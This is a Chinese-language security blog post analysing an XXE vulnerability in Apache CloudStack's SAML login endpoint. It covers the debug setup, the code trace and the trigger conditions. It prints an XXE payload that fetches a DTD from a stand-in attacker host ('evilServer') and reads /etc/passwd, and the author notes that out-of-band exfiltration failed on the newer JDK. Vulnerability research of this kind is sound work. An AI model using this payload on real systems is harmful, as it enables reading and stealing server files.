暂无简介
前言
最近爆了好多洞,看到有个XXE注入,正好前段时间刚分析完ZOHO那个XXE正好分析一波
环境搭建
跟着官网安装,直接放弃,最后找到了docker的镜像,直接docker搭起来,不过在docker进行远程调试的时候又出现了巨多坑,整个环境搭了两天,环境为4.17.0.0
docker pull ustcweizhou/cloudstack-simulator
docker run --name cloudstack-simulator -p 8888:5050 -p 9999:9999 -d ustcweizhou/cloudstack-simulator
其中8888是web端口,9999是要开启的远程调试端口,接下来直接按照以下命令执行即可
//在虚拟机当前目录新建一个supervisord的配置文件
vim supervisord.conf
//内容如下,里面只是在原先的基础上加了个idea的远程调试,端口为9999
[supervisord]
nodaemon=true
[program:mysqld]
command=/usr/bin/mysqld_safe
autostart=true
autorestart=true
user=root
[program:cloudstack]
command=/bin/bash -c "export MAVEN_OPTS='-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:9999';mvn -pl client jetty:run -Dsimulator -Dorg.eclipse.jetty.annotations.maxWait=120"
directory=/root
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
user=root
[program:cloudstack-ui]
command=/bin/bash -c "npm run serve"
directory=/root/ui
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
user=root
//将conf文件复制到容器内
docker cp supervisord.conf 容器id:/etc/supervisor/conf.d/supervisord.conf
//进入容器
docker exec -it 容器id bash
//更新supervisord文件配置即可
supervisorctl update
漏洞分析
先来看一下补丁,很明显的XXE注入漏洞,可以看到对responseMessage
先进行了base64解密,在进行了XML解析,我们逆着来看看哪里调用了decodeSAMLResponse
在org.apache.cloudstack.api.command.SAML2LoginAPIAuthenticatorCmd#processSAMLResponse
中,调用了decodeSAMLResponse
,继续往上找
在同一个类中找到了authenticate
函数,可以看到传入一个idpId
,而它是从params
中的SAMLResponse
中取出的值并且强转为String类型,而params
是一个Map类型的,那么SAMLResponse
就是一个key,很有可能就是在request中传过来的,我们继续往上找
成功在ApiServlet
中找到了调用方式,在其processRequestInContext
函数内调用了authenticate
,而且可以看到params
里的值就是request转化而来的键值对,并且doGet和doPost最后都调用了processRequestInContext
函数,那么到最后解析xml的值就是我们可以控制的SAMLResponse
接着来看一下wen.xml看看ApiServlet对应的路由,在/api/下会被调用
在web页面中看到网络发的包,拿来一个加上SAMLResponse
参数来看看最后触发漏洞需要的条件
在processRequestInContext
中,需要满足apiAuthenticator != null
这个条件才能进入到if语句中,进入if语句才能继续往下走,这就要apiAuthenticator
必须有值,我们进入到getAPIAuthenticator
来看一下
可以看到必须满足s_authenticators != null && s_authenticators.containsKey(name)
条件,apiAuthenticator
才不会为空,其中会检测传进来的name是否在s_authenticators
内,而name就是我们可控的command
,此时command
的值需要为以下的几个值才符合条件,可以看到里面有两个值samlsso
和samlslo
,该漏洞的触发就是需要在开启saml的前提下才会触发而这两个值就是在开启saml后有的值,既然已经知道了触发条件直接将command
值改为samlsso
saml开启是在登录web后在全局配置中将
saml2.enabled
改为true即可
可以看到通过command
获取的apiAuthenticator
的值就是能够继续触发漏洞的SAML2LoginAPIAuthenticatorCmd
最后对SAMLResponse
的值进行base64解密后触发XXE漏洞,接下来构造payload触发
payload如下:
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % ext SYSTEM "http://@evilServer:8000/ev.dtd">
%ext;
]>
<message></message>
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
server端有被访问但是并没有回显,然后就想到了利用ftp协议工具进行回显,但是测试一直不成功,然后发现CloudStack的服务端jdk版本为openjdk 11.0.15
,而在高版本中在FtpURLConnection
类中进行url检测
会对换行符进行检测,如果有的话直接抛出异常,这里就尝试了很多方法都不能回显,在网上查文章发现好像高版本的XXE无回显确实无法利用,这里在网上看到一篇文章,详细的解释了为什么高版本jdk的ftp无法利用
<7u141
或<8u131
:不会受文件中\n的影响>jdk8u131
:能创建FTP连接,外带文件内容中含有\n则抛出异常>jdk8u232
:不能创建FTP连接,只要url中含有\n就会抛出异常
在调试的时候发现会在detaiMessage
中回显/etc/passwd文件内容,但是并不会回显到前端
请问一下各位师傅有没有可以利用的点
- 本文作者: Da22le
- 本文来源: 先知社区
- 原文链接: https://xz.aliyun.com/t/11600
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!